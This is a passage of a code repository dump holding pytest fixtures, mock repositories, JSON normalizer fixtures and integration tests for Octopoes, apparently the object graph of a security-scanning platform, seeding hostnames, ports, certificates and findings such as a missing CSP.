MockScanProfileRepository(Mock())\n\n\nclass MockOOIRepository(OOIRepository):\n    def __init__(self, *args, **kwargs):\n        super().__init__(*args, **kwargs)\n        self.oois = {}\n\n    def save(self, ooi: OOI, valid_time: datetime, end_valid_time: datetime | None = None) -> None:\n        self.oois[ooi.reference] = ooi\n\n    def load_bulk(self, references: set[Reference], valid_time: datetime) -> dict[str, OOI]:\n        return {ooi.primary_key: ooi for ooi in self.oois.values() if ooi.reference in references}\n\n    def list_neighbours(self, references: set[Reference], paths: set[Path], valid_time: datetime) -> set[OOI]:\n        neighbours = set()\n\n        for path in paths:\n            # Neighbours should have paths of length 1\n            assert len(path.segments) == 1\n            segment = path.segments[0]\n            if segment.direction == Direction.OUTGOING:\n                for ref in references:\n                    neighbour_ref = getattr(self.oois[ref], segment.property_name)\n                    if neighbour_ref is not None:\n                        neighbours.add(self.oois[neighbour_ref])\n            else:\n                for ooi in self.oois.values():\n                    if not isinstance(ooi, segment.target_type):\n                        continue\n\n                    for ref in references:\n                        if getattr(ooi, segment.property_name) == ref:\n                            neighbours.add(ooi)\n\n        return neighbours\n\n    def list_oois_without_scan_profile(self, valid_time: datetime) -> set[Reference]:\n        return set()\n\n\n@pytest.fixture\ndef ooi_repository():\n    return MockOOIRepository(Mock())\n\n\ndef add_ooi(ooi, ooi_repository, scan_profile_repository, valid_time):\n    ooi_repository.save(ooi, valid_time)\n    scan_profile_repository.save(None, EmptyScanProfile(reference=ooi.reference), valid_time)\n    return ooi\n\n\n@pytest.fixture\ndef network(ooi_repository, scan_profile_repository, valid_time):\n    return add_ooi(Network(name=\"internet\"), ooi_repository, scan_profile_repository, valid_time)\n\n\n@pytest.fixture\ndef dns_zone(network, ooi_repository, hostname, scan_profile_repository, valid_time):\n    ooi = add_ooi(\n        DNSZone(name=\"example.com\", hostname=hostname.reference, network=network.reference),\n        ooi_repository,\n        scan_profile_repository,\n        valid_time,\n    )\n    hostname.dns_zone = ooi.reference\n    return ooi\n\n\n@pytest.fixture\ndef hostname(network, ooi_repository, scan_profile_repository, valid_time):\n    return add_ooi(\n        Hostname(name=\"example.com\", network=network.reference), ooi_repository, scan_profile_repository, valid_time\n    )\n\n\n@pytest.fixture\ndef ipaddressv4(network, ooi_repository, scan_profile_repository, valid_time):\n    return add_ooi(\n        IPAddressV4(network=network.reference, address=IPv4Address(\"192.0.2.1\")),\n        ooi_repository,\n        scan_profile_repository,\n        valid_time,\n    )\n\n\n@pytest.fixture\ndef resolved_hostname(hostname, ipaddressv4, ooi_repository, scan_profile_repository, valid_time):\n    return add_ooi(\n        ResolvedHostname(hostname=hostname.reference, address=ipaddressv4.reference),\n        ooi_repository,\n        scan_profile_repository,\n        valid_time,\n    )\n\n\n@pytest.fixture\ndef http_resource_http(hostname, ipaddressv4, network):\n    ip_port = IPPort(address=ipaddressv4.reference, protocol=\"tcp\", port=80)\n    ip_service = IPService(ip_port=ip_port.reference, service=Service(name=\"http\").reference)\n    website = Website(ip_service=ip_service.reference, hostname=hostname.reference)\n    web_url = HostnameHTTPURL(netloc=hostname.reference, path=\"/\", scheme=\"http\", network=network.reference, port=80)\n    return HTTPResource(website=website.reference, web_url=web_url.reference)\n\n\n@pytest.fixture\ndef http_resource_https(hostname, ipaddressv4, network):\n    ip_port = IPPort(address=ipaddressv4.reference, protocol=\"tcp\", port=443)\n    ip_service = IPService(ip_port=ip_port.reference, service=Service(name=\"https\").reference)\n    website = Website(ip_service=ip_service.reference, hostname=hostname.reference)\n    web_url = HostnameHTTPURL(netloc=hostname.reference, path=\"/\", scheme=\"https\", network=network.reference, port=443)\n    return HTTPResource(website=website.reference, web_url=web_url.reference)\n\n\n@pytest.fixture\ndef empty_scan_profile():\n    return EmptyScanProfile(reference=\"test|reference\")\n\n\n@pytest.fixture\ndef declared_scan_profile():\n    return DeclaredScanProfile(reference=\"test|reference\", level=2)\n\n\n@pytest.fixture\ndef app_settings():\n    return Settings()\n\n\n@pytest.fixture\ndef octopoes_service() -> OctopoesService:\n    return OctopoesService(Mock(), Mock())\n\n\n@pytest.fixture\ndef bit_runner(mocker) -> BitRunner:\n    return mocker.patch(\"octopoes.core.service.BitRunner\")\n\n\n@pytest.fixture\ndef xtdb_http_client(request, app_settings: Settings) -> XTDBHTTPClient:\n    test_node = f\"test-{request.node.originalname}\"\n    client = get_xtdb_client(str(app_settings.xtdb_uri), test_node)\n\n    return client\n\n\n@pytest.fixture\ndef xtdb_session(xtdb_http_client: XTDBHTTPClient) -> Iterator[XTDBSession]:\n    xtdb_http_client.create_node()\n\n    yield XTDBSession(xtdb_http_client)\n    xtdb_http_client.sync()\n    xtdb_http_client.delete_node()\n\n\n@pytest.fixture\ndef octopoes_api_connector(xtdb_session: XTDBSession) -> OctopoesAPIConnector:\n    connector = OctopoesAPIConnector(\"http://ci_octopoes:80\", xtdb_session.client.node)\n\n    return connector\n\n\nclass MockEventManager:\n    def __init__(self):\n        self.queue = []\n        self.processed = [0]\n        self.client = \"test\"\n\n    def publish(self, event) -> None:\n        self.queue.append(event)\n\n    def unprocessed(self) -> list:\n        retval = self.queue[self.processed[-1] :]\n        self.processed.append(len(self.queue))\n        return retval\n\n    def process_events(self, xtdb_octopoes_service: OctopoesService) -> int:\n        targets = self.unprocessed()\n        for event in targets:\n            xtdb_octopoes_service.process_event(event)\n        xtdb_octopoes_service.commit()\n        return len(targets)\n\n    def complete_process_events(self, xtdb_octopoes_service: OctopoesService, repeat: int = 3) -> int:\n        retval = 0\n        for _ in range(repeat):\n            while True:\n                val = self.process_events(xtdb_octopoes_service)\n                if val == 0:\n                    break\n                retval += val\n        return retval\n\n\n@pytest.fixture\ndef event_manager(xtdb_session: XTDBSession) -> Mock:\n    return MockEventManager()\n\n\n@pytest.fixture\ndef xtdb_ooi_repository(xtdb_session: XTDBSession, event_manager) -> Iterator[XTDBOOIRepository]:\n    yield XTDBOOIRepository(event_manager, xtdb_session)\n\n\n@pytest.fixture\ndef xtdb_origin_repository(xtdb_session: XTDBSession, event_manager) -> Iterator[XTDBOOIRepository]:\n    yield XTDBOriginRepository(event_manager, xtdb_session)\n\n\n@pytest.fixture\ndef xtdb_origin_parameter_repository(xtdb_session: XTDBSession, event_manager) -> Iterator[XTDBOOIRepository]:\n    yield XTDBOriginParameterRepository(event_manager, xtdb_session)\n\n\n@pytest.fixture\ndef xtdb_scan_profile_repository(xtdb_session: XTDBSession, event_manager) -> Iterator[XTDBOOIRepository]:\n    yield XTDBScanProfileRepository(event_manager, xtdb_session)\n\n\n@pytest.fixture\ndef xtdb_octopoes_service(event_manager: EventManager, xtdb_session: XTDBSession) -> OctopoesService:\n    return OctopoesService(event_manager, xtdb_session)\n\n\n@pytest.fixture\ndef mock_xtdb_session():\n    return XTDBSession(Mock())\n\n\n@pytest.fixture\ndef origin_repository(mock_xtdb_session):\n    yield XTDBOriginRepository(Mock(spec=EventManager, client=\"test\"), mock_xtdb_session)\n\n\ndef seed_system(xtdb_ooi_repository: XTDBOOIRepository, xtdb_origin_repository: XTDBOriginRepository, valid_time):\n    network = Network(name=\"test\")\n\n    hostnames = [\n        Hostname(network=network.reference, name=\"example.com\"),\n        Hostname(network=network.reference, name=\"a.example.com\"),\n        Hostname(network=network.reference, name=\"b.example.com\"),\n        Hostname(network=network.reference, name=\"c.example.com\"),\n        Hostname(network=network.reference, name=\"d.example.com\"),\n        Hostname(network=network.reference, name=\"e.example.com\"),\n        Hostname(network=network.reference, name=\"f.example.com\"),\n    ]\n\n    addresses = [\n        IPAddressV4(network=network.reference, address=ip_address(\"192.0.2.3\")),\n        IPAddressV6(network=network.reference, address=ip_address(\"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\")),\n    ]\n    ports = [\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=25),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=443),\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=22),\n        IPPort(address=addresses[1].reference, protocol=\"tcp\", port=80),\n    ]\n    services = [Service(name=\"smtp\"), Service(name=\"https\"), Service(name=\"http\"), Service(name=\"ssh\")]\n    ip_services = [\n        IPService(ip_port=ports[0].reference, service=services[0].reference),\n        IPService(ip_port=ports[1].reference, service=services[1].reference),\n        IPService(ip_port=ports[2].reference, service=services[3].reference),\n        IPService(ip_port=ports[3].reference, service=services[2].reference),\n    ]\n\n    resolved_hostnames = [\n        ResolvedHostname(hostname=hostnames[0].reference, address=addresses[0].reference),  # ipv4\n        ResolvedHostname(hostname=hostnames[0].reference, address=addresses[1].reference),  # ipv6\n        ResolvedHostname(hostname=hostnames[1].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[2].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[3].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[4].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[5].reference, address=addresses[0].reference),\n        ResolvedHostname(hostname=hostnames[3].reference, address=addresses[1].reference),\n        ResolvedHostname(hostname=hostnames[4].reference, address=addresses[1].reference),\n        ResolvedHostname(hostname=hostnames[6].reference, address=addresses[1].reference),\n    ]\n    certificates = [\n        X509Certificate(\n            subject=\"example.com\",\n            valid_from=\"2022-11-15T08:52:57\",\n            valid_until=\"2030-11-15T08:52:57\",\n            serial_number=\"abc123\",\n        )\n    ]\n    websites = [\n        Website(ip_service=ip_services[0].reference, hostname=hostnames[0].reference, certificates=certificates[0]),\n        Website(ip_service=ip_services[0].reference, hostname=hostnames[1].reference),\n    ]\n    software = [Software(name=\"DICOM\")]\n    instance = [SoftwareInstance(ooi=ports[0].reference, software=software[0].reference)]\n\n    web_urls = [\n        HostnameHTTPURL(netloc=hostnames[0].reference, path=\"/\", scheme=\"http\", network=network.reference, port=80),\n        HostnameHTTPURL(netloc=hostnames[0].reference, path=\"/\", scheme=\"https\", network=network.reference, port=443),\n    ]\n    urls = [URL(network=network.reference, raw=\"https://test.com/security\", web_url=web_urls[1].reference)]\n    resources = [\n        HTTPResource(website=websites[0].reference, web_url=web_urls[0].reference),\n        HTTPResource(website=websites[0].reference, web_url=web_urls[1].reference),\n    ]\n    headers = [HTTPHeader(resource=resources[1].reference, key=\"test key\", value=\"test value\")]\n    security_txts = [SecurityTXT(website=websites[1].reference, url=urls[0].reference, security_txt=\"test text\")]\n    finding_types = [\n        KATFindingType(id=\"KAT-NO-CSP\"),\n        KATFindingType(id=\"KAT-CSP-VULNERABILITIES\"),\n        KATFindingType(id=\"KAT-NO-HTTPS-REDIRECT\"),\n        KATFindingType(id=\"KAT-NO-CERTIFICATE\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRED\"),\n        KATFindingType(id=\"KAT-CERTIFICATE-EXPIRING-SOON\"),\n    ]\n    findings = [\n        Finding(finding_type=finding_types[0].reference, ooi=resources[0].reference),\n        Finding(finding_type=finding_types[2].reference, ooi=web_urls[0].reference),\n        Finding(finding_type=finding_types[3].reference, ooi=websites[1].reference),\n        Finding(finding_type=finding_types[4].reference, ooi=certificates[0].reference),\n    ]\n\n    oois = (\n        hostnames\n        + addresses\n        + ports\n        + services\n        + ip_services\n        + resolved_hostnames\n        + websites\n        + software\n        + instance\n        + web_urls\n        + resources\n        + headers\n        + finding_types\n        + findings\n        + urls\n        + security_txts\n        + certificates\n    )\n\n    network_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"kat_manual_csv\",\n        source=network.reference,\n        source_method=\"manual\",\n        result=[network.reference],\n        task_id=uuid.uuid4(),\n    )\n    xtdb_ooi_repository.save(network, valid_time=valid_time)\n    xtdb_origin_repository.save(network_origin, valid_time=valid_time)\n\n    origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"\",\n        source=network.reference,\n        source_method=\"manual\",\n        result=[ooi.reference for ooi in oois],\n        task_id=uuid.uuid4(),\n    )\n\n    for ooi in oois:\n        xtdb_ooi_repository.save(ooi, valid_time=valid_time)\n\n    xtdb_origin_repository.save(origin, valid_time=valid_time)\n\n    xtdb_origin_repository.commit()\n    xtdb_ooi_repository.commit()\n\n\ndef seed_report(\n    name: str, valid_time, ooi_repository, origin_repository, input_reports: list[AssetReport] | None = None\n) -> Report:\n    recipe = ReportRecipe(\n        report_type=\"concatenated-report\",\n        recipe_id=uuid.uuid4(),\n        report_name_format=\"test\",\n        cron_expression=\"* * * *\",\n        input_recipe={},\n        asset_report_types=[],\n    )\n    report = Report(\n        name=name,\n        date_generated=valid_time,\n        organization_code=\"code\",\n        organization_name=\"name\",\n        organization_tags=[\"tag1\", \"tag2\"],\n        data_raw_id=\"raw\",\n        observed_at=valid_time,\n        reference_date=valid_time,\n        report_recipe=recipe.reference,\n        input_oois=[input_report.reference for input_report in input_reports] if input_reports else [],\n        report_type=\"concatenated-report\",\n    )\n    report_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=report.reference,\n        result=[report.reference],\n        task_id=uuid.uuid4(),\n    )\n    recipe_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=recipe.reference,\n        result=[recipe.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    ooi_repository.save(recipe, valid_time=valid_time)\n    origin_repository.save(recipe_origin, valid_time=valid_time)\n\n    ooi_repository.save(report, valid_time=valid_time)\n    origin_repository.save(report_origin, valid_time=valid_time)\n\n    origin_repository.commit()\n    ooi_repository.commit()\n\n    return report\n\n\ndef seed_asset_report(\n    name: str, valid_time, ooi_repository, origin_repository, input_ooi: str = \"testref\"\n) -> AssetReport:\n    recipe = ReportRecipe(\n        report_type=\"concatenated-report\",\n        recipe_id=uuid.uuid4(),\n        report_name_format=\"test\",\n        cron_expression=\"* * * *\",\n        input_recipe={},\n        asset_report_types=[],\n    )\n\n    asset_report = AssetReport(\n        name=name,\n        date_generated=valid_time,\n        report_recipe=recipe.reference,\n        organization_code=\"code\",\n        organization_name=\"name\",\n        organization_tags=[\"tag1\", \"tag2\"],\n        data_raw_id=\"raw\",\n        reference_date=valid_time,\n        observed_at=valid_time,\n        input_ooi=input_ooi,\n        report_type=\"system-report\",\n    )\n    report_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=asset_report.reference,\n        result=[asset_report.reference],\n        task_id=uuid.uuid4(),\n    )\n    recipe_origin = Origin(\n        origin_type=OriginType.DECLARATION,\n        method=\"manual\",\n        source=recipe.reference,\n        result=[recipe.reference],\n        task_id=uuid.uuid4(),\n    )\n\n    ooi_repository.save(recipe, valid_time=valid_time)\n    origin_repository.save(recipe_origin, valid_time=valid_time)\n\n    ooi_repository.save(asset_report, valid_time=valid_time)\n    origin_repository.save(report_origin, valid_time=valid_time)\n\n    origin_repository.commit()\n    ooi_repository.commit()\n\n    return asset_report\n"
  },
  {
    "path": "octopoes/tests/fixtures/calvin_output_1.json",
    "content": "{\n  \"method\": \"calvin_normalizer_x\",\n  \"ooi\": {\n    \"object_type\": \"Hostname\",\n    \"network\": \"Network|internet\",\n    \"name\": \"calvinnormalizer.com\"\n  },\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"824cfb63-1a46-4446-9941-d36e9550bee5\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/calvin_output_2.json",
    "content": "{\n  \"method\": \"calvin_normalizer_x\",\n  \"ooi\": {\n    \"object_type\": \"Hostname\",\n    \"network\": \"Network|internet\",\n    \"name\": \"calvinnormalizer.org\"\n  },\n  \"valid_time\": \"2019-01-02T00:00:00+00:00\",\n  \"task_id\": \"9bcc478d-00a2-4cae-976b-c7f4beea0375\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/normalizer_output.json",
    "content": "{\n  \"method\": \"boefje_normalizer_x\",\n  \"source\": \"Hostname|internet|example.com\",\n  \"result\": [\n    {\n      \"object_type\": \"Hostname\",\n      \"network\": \"Network|internet\",\n      \"name\": \"example.com\"\n    },\n    {\n      \"object_type\": \"ResolvedHostname\",\n      \"hostname\": \"Hostname|internet|example.com\",\n      \"address\": \"IPAddressV4|internet|1.1.1.1\"\n    },\n    {\n      \"object_type\": \"IPAddressV4\",\n      \"network\": \"Network|internet\",\n      \"address\": \"1.1.1.1\"\n    },\n    {\n      \"object_type\": \"IPPort\",\n      \"address\": \"IPAddressV4|internet|1.1.1.1\",\n      \"protocol\": \"tcp\",\n      \"port\": 80,\n      \"state\": \"open\"\n    }\n  ],\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"532a22d4-9cbd-4151-bded-3a916816dd5e\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/normalizer_output_config.json",
    "content": "{\n  \"method\": \"boefje_normalizer_x\",\n  \"source\": \"Network|internet\",\n  \"result\": [\n    {\n      \"object_type\": \"Config\",\n      \"ooi\": \"Network|internet\",\n      \"bit_id\": \"check-hsts-header\",\n      \"config\": {\n        \"max-age\": \"41536000\"\n      }\n    }\n  ],\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"f174b8bb-23a6-4f99-8fb1-3f3b7c198d26\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/normalizer_output_empty.json",
    "content": "{\n  \"method\": \"boefje_normalizer_x\",\n  \"source\": \"Hostname|internet|example.com\",\n  \"result\": [],\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"51c6bce9-3e35-4a37-b864-d2d25b68d7c5\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/normalizer_output_http.json",
    "content": "{\n  \"method\": \"boefje_normalizer_x\",\n  \"source\": \"Hostname|internet|example.com\",\n  \"result\": [\n    {\n      \"object_type\": \"Network\",\n      \"name\": \"internet\"\n    },\n    {\n      \"object_type\": \"Hostname\",\n      \"network\": \"Network|internet\",\n      \"name\": \"example.com\"\n    },\n    {\n      \"object_type\": \"ResolvedHostname\",\n      \"hostname\": \"Hostname|internet|example.com\",\n      \"address\": \"IPAddressV4|internet|1.1.1.1\"\n    },\n    {\n      \"object_type\": \"IPAddressV4\",\n      \"network\": \"Network|internet\",\n      \"address\": \"1.1.1.1\"\n    },\n    {\n      \"object_type\": \"IPPort\",\n      \"address\": \"IPAddressV4|internet|1.1.1.1\",\n      \"protocol\": \"tcp\",\n      \"port\": 80,\n      \"state\": \"open\"\n    },\n    {\n      \"object_type\": \"Service\",\n      \"name\": \"http\"\n    },\n    {\n      \"object_type\": \"IPService\",\n      \"ip_port\": \"IPPort|internet|1.1.1.1|tcp|80\",\n      \"service\": \"Service|http\"\n    },\n    {\n      \"object_type\": \"HTTPHeader\",\n      \"resource\": \"HTTPResource|internet|1.1.1.1|tcp|80|http|internet|example.com|http|internet|example.com|80|/\",\n      \"key\": \"strict-transport-security\",\n      \"value\": \"max-age=31536000; includeSubDomains\"\n    }\n  ],\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"0fcddfb6-a059-4bba-b6d1-3db376392354\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/normalizer_output_nxdomain.json",
    "content": "{\n  \"method\": \"boefje_normalizer_x\",\n  \"source\": \"Hostname|internet|example.com\",\n  \"result\": [\n    {\n      \"object_type\": \"Hostname\",\n      \"network\": \"Network|internet\",\n      \"name\": \"example.com\"\n    },\n    {\n      \"object_type\": \"NXDOMAIN\",\n      \"hostname\": \"Hostname|internet|example.com\"\n    }\n  ],\n  \"valid_time\": \"2019-01-01T00:00:00+00:00\",\n  \"task_id\": \"f37cc6cf-432b-4b67-bde4-3f18818301d2\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/regular_manual_declaration.json",
    "content": "{\n  \"ooi\": {\n    \"object_type\": \"Hostname\",\n    \"network\": \"Network|internet\",\n    \"name\": \"test.org\"\n  },\n  \"valid_time\": \"2019-01-02T00:00:00+00:00\"\n}\n"
  },
  {
    "path": "octopoes/tests/fixtures/regular_manual_declaration_with_null_values.json",
    "content": "{\n  \"ooi\": {\n    \"object_type\": \"Hostname\",\n    \"network\": \"Network|internet\",\n    \"name\": \"test.org\"\n  },\n  \"valid_time\": \"2019-01-02T00:00:00+00:00\",\n  \"method\": null,\n  \"task_id\": null\n}\n"
  },
  {
    "path": "octopoes/tests/integration/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/tests/integration/test_api_connector.py",
    "content": "import os\nimport uuid\nfrom datetime import datetime, timezone\nfrom ipaddress import ip_address\n\nimport pytest\n\nfrom octopoes.api.models import Declaration, Observation\nfrom octopoes.config.settings import Settings\nfrom octopoes.connector.octopoes import OctopoesAPIConnector\nfrom octopoes.core.app import get_xtdb_client\nfrom octopoes.models import OOI, DeclaredScanProfile, EmptyScanProfile, Reference, ScanLevel\nfrom octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord, DNSMXRecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType, RiskLevelSeverity\nfrom octopoes.models.ooi.network import IPAddressV4, IPAddressV6, IPPort, Network, PortState, Protocol\nfrom octopoes.models.ooi.reports import Report, ReportRecipe\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import Website\nfrom octopoes.models.origin import OriginType\n\nif os.environ.get(\"CI\") != \"1\":\n    pytest.skip(\"Needs XTDB multinode container.\", allow_module_level=True)\n\n\ndef test_bulk_operations(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=\"test\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n    hostnames = [Hostname(network=network.reference, name=f\"test{i}\") for i in range(10)]\n    task_id = uuid.uuid4()\n\n    octopoes_api_connector.save_observation(\n        Observation(\n            method=\"normalizer_id\",\n            source=network.reference,\n            source_method=\"manual\",\n            task_id=task_id,\n            valid_time=valid_time,\n            result=hostnames,\n        )\n    )\n\n    octopoes_api_connector.save_many_scan_profiles(\n        [DeclaredScanProfile(reference=ooi.reference, level=ScanLevel.L2) for ooi in hostnames + [network]], valid_time\n    )\n\n    assert octopoes_api_connector.list_objects(types={Network}, valid_time=valid_time).count == 1\n    assert octopoes_api_connector.list_objects(types={Hostname}, valid_time=valid_time).count == 10\n    assert octopoes_api_connector.list_objects(types={Network, Hostname}, valid_time=valid_time).count == 11\n\n    assert len(octopoes_api_connector.list_origins(task_id=uuid.uuid4(), valid_time=valid_time)) == 0\n    origins = octopoes_api_connector.list_origins(task_id=task_id, valid_time=valid_time)\n    assert len(origins) == 1\n    assert origins[0].model_dump() == {\n        \"method\": \"normalizer_id\",\n        \"origin_type\": OriginType.OBSERVATION,\n        \"source\": network.reference,\n        \"source_method\": \"manual\",\n        \"result\": [hostname.reference for hostname in hostnames],\n        \"task_id\": task_id,\n    }\n\n    assert len(octopoes_api_connector.list_origins(result=hostnames[0].reference, valid_time=valid_time)) == 1\n\n    # Delete even-numbered test hostnames\n    octopoes_api_connector.delete_many(\n        [Reference.from_str(f\"Hostname|test|test{i}\") for i in range(0, 10, 2)], valid_time=valid_time\n    )\n    assert octopoes_api_connector.list_objects(types={Network, Hostname}, valid_time=valid_time).count == 6\n\n    with pytest.raises(ObjectNotFoundException):\n        octopoes_api_connector.delete_many([\"test\"], valid_time=valid_time)\n\n    assert len(octopoes_api_connector.list_origins(origin_type=OriginType.DECLARATION, valid_time=valid_time)) == 1\n\n    octopoes_api_connector.save_many_declarations([Declaration(ooi=h, valid_time=valid_time) for h in hostnames])\n\n    assert (\n        len(octopoes_api_connector.list_origins(origin_type=OriginType.DECLARATION, valid_time=valid_time))\n        == len(hostnames) + 1\n    )\n\n    # fetch *with* scan levels\n    bulk_hostnames = octopoes_api_connector.load_objects_bulk(\n        {x.reference for x in hostnames}, valid_time, with_scan_profiles=True\n    )\n\n    assert len(bulk_hostnames) == 10\n\n    for hostname in hostnames:\n        assert bulk_hostnames[hostname.reference].scan_profile is not None\n\n    # fetch *without* scan levels\n    bulk_hostnames = octopoes_api_connector.load_objects_bulk(\n        {x.reference for x in hostnames}, valid_time, with_scan_profiles=False\n    )\n\n    assert len(bulk_hostnames) == 10\n\n    for hostname in hostnames:\n        assert bulk_hostnames[hostname.reference].scan_profile is None\n\n\ndef test_bulk_reports(app_settings: Settings, octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    filters = []\n    reports = []\n\n    for client in [\"test1\", \"test2\", \"test3\"]:\n        xtdb_client = get_xtdb_client(str(app_settings.xtdb_uri), client)\n        xtdb_client.create_node()\n\n        octopoes_api_connector.client = client\n        recipe = ReportRecipe(\n            report_type=\"concatenated-report\",\n            recipe_id=uuid.uuid4(),\n            report_name_format=\"test\",\n            cron_expression=\"* * * *\",\n            input_recipe={},\n            asset_report_types=[],\n        )\n        report = Report(\n            name=f\"report-{client}\",\n            date_generated=valid_time,\n            organization_code=\"code\",\n            organization_name=\"name\",\n            organization_tags=[\"tag1\", \"tag2\"],\n            data_raw_id=\"raw\",\n            observed_at=valid_time,\n            reference_date=valid_time,\n            report_recipe=recipe.reference,\n            input_oois=[],\n            report_type=\"concatenated-report\",\n        )\n        octopoes_api_connector.save_declaration(Declaration(ooi=recipe, valid_time=valid_time))\n        octopoes_api_connector.save_declaration(Declaration(ooi=report, valid_time=valid_time))\n\n        filters.append((client, str(recipe.recipe_id)))\n        reports.append(report)\n\n    recipe_ids = [x[1] for x in filters]\n\n    result = octopoes_api_connector.bulk_list_reports(valid_time, filters)\n    assert len(result) == 3\n    assert result[uuid.UUID(recipe_ids[0])].to_report() == reports[0]\n    assert result[uuid.UUID(recipe_ids[1])].to_report() == reports[1]\n    assert result[uuid.UUID(recipe_ids[2])].to_report() == reports[2]\n\n    result = octopoes_api_connector.bulk_list_reports(valid_time, [filters[0], filters[2]])\n    assert len(result) == 2\n    assert result[uuid.UUID(recipe_ids[0])].to_report() == reports[0]\n    assert result[uuid.UUID(recipe_ids[2])].to_report() == reports[2]\n\n\ndef test_list_object_clients(\n    app_settings: Settings, octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime\n):\n    clients = [\"test1\", \"test2\", \"test3\", \"test4\"]\n    for client in clients:\n        xtdb_client = get_xtdb_client(str(app_settings.xtdb_uri), client)\n        xtdb_client.create_node()\n\n    network = Network(name=\"test\")\n\n    for client in [\"test2\", \"test4\"]:\n        octopoes_api_connector.client = client\n        octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    octopoes_api_connector.client = \"test1\"\n    network2 = Network(name=\"test1\")\n    hostname = Hostname(network=network2.reference, name=\"test1-hostname\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network2, valid_time=valid_time))\n    octopoes_api_connector.save_declaration(Declaration(ooi=hostname, valid_time=valid_time))\n\n    hostname.scan_profile = EmptyScanProfile(reference=hostname.reference)\n    network.scan_profile = EmptyScanProfile(reference=network.reference)\n    network2.scan_profile = EmptyScanProfile(reference=network2.reference)\n\n    result = octopoes_api_connector.list_object_clients(network.reference, set(clients), valid_time)\n    assert result == {\"test4\": network, \"test2\": network}\n\n    result = octopoes_api_connector.list_object_clients(network.reference, {\"test2\"}, valid_time)\n    assert result == {\"test2\": network}\n\n    result = octopoes_api_connector.list_object_clients(network.reference, {\"test1\"}, valid_time)\n    assert result == {}\n\n    result = octopoes_api_connector.list_object_clients(hostname.reference, set(clients), valid_time)\n    assert result == {\"test1\": hostname}\n\n    result = octopoes_api_connector.list_object_clients(network2.reference, set(clients), valid_time)\n    assert result == {\"test1\": network2}\n\n\ndef test_history(octopoes_api_connector: OctopoesAPIConnector):\n    network = Network(name=\"test\")\n    first_seen = datetime(year=2020, month=10, day=10, tzinfo=timezone.utc)  # XTDB only returns a precision of seconds\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=first_seen))\n    octopoes_api_connector.delete(network.reference, datetime(year=2020, month=10, day=11, tzinfo=timezone.utc))\n    last_seen = datetime(year=2020, month=10, day=12, tzinfo=timezone.utc)\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=last_seen))\n\n    history = octopoes_api_connector.get_history(network.reference, with_docs=True)\n    assert len(history) == 3\n    assert history[0].document is not None\n    assert history[1].document is None\n    assert history[2].document is not None\n\n    assert len(octopoes_api_connector.get_history(network.reference, has_doc=False)) == 1\n\n    with_doc = octopoes_api_connector.get_history(network.reference, has_doc=True)\n    assert len(with_doc) == 2\n    assert not all([x.document for x in with_doc])\n\n    assert len(octopoes_api_connector.get_history(network.reference, offset=1)) == 2\n    assert len(octopoes_api_connector.get_history(network.reference, limit=2)) == 2\n\n    first_and_last = octopoes_api_connector.get_history(network.reference, has_doc=True, indices=[0, -1])\n    assert len(first_and_last) == 2\n    assert first_and_last[0].valid_time == first_seen\n    assert first_and_last[1].valid_time == last_seen\n\n\ndef test_query(octopoes_api_connector: OctopoesAPIConnector, valid_time: datetime):\n    network = Network(name=\"test\")\n    octopoes_api_connector.save_declaration(Declaration(ooi=network, valid_time=valid_time))\n\n    hostnames: list[OOI] = [Hostname(network=network.reference, name=f\"test{i}\") for i in range(10)]\n\n    addresses = [IPAddressV6(network=network.reference, address=ip_address(\"3e4d:64a2:cb49:bd48:a1ba:def3:d15d:9230\"))]\n    v4_addresses = [IPAddressV4(network=network.reference, address=ip_address(\"127.0.0.1\"))]\n    ports = [\n        IPPort(address=addresses[0].reference, protocol=\"tcp\", port=22),\n        IPPort(address=v4_addresses[0].reference, protocol=\"tcp\", port=443),\n    ]\n    services = [Service(name=\"https\")]\n    ip_services = [IPService(ip_port=ports[0].reference, service=services[0].reference)]\n\n    dns_ns_records = [\n        DNSNSRecord(hostname=hostnames[i].reference, 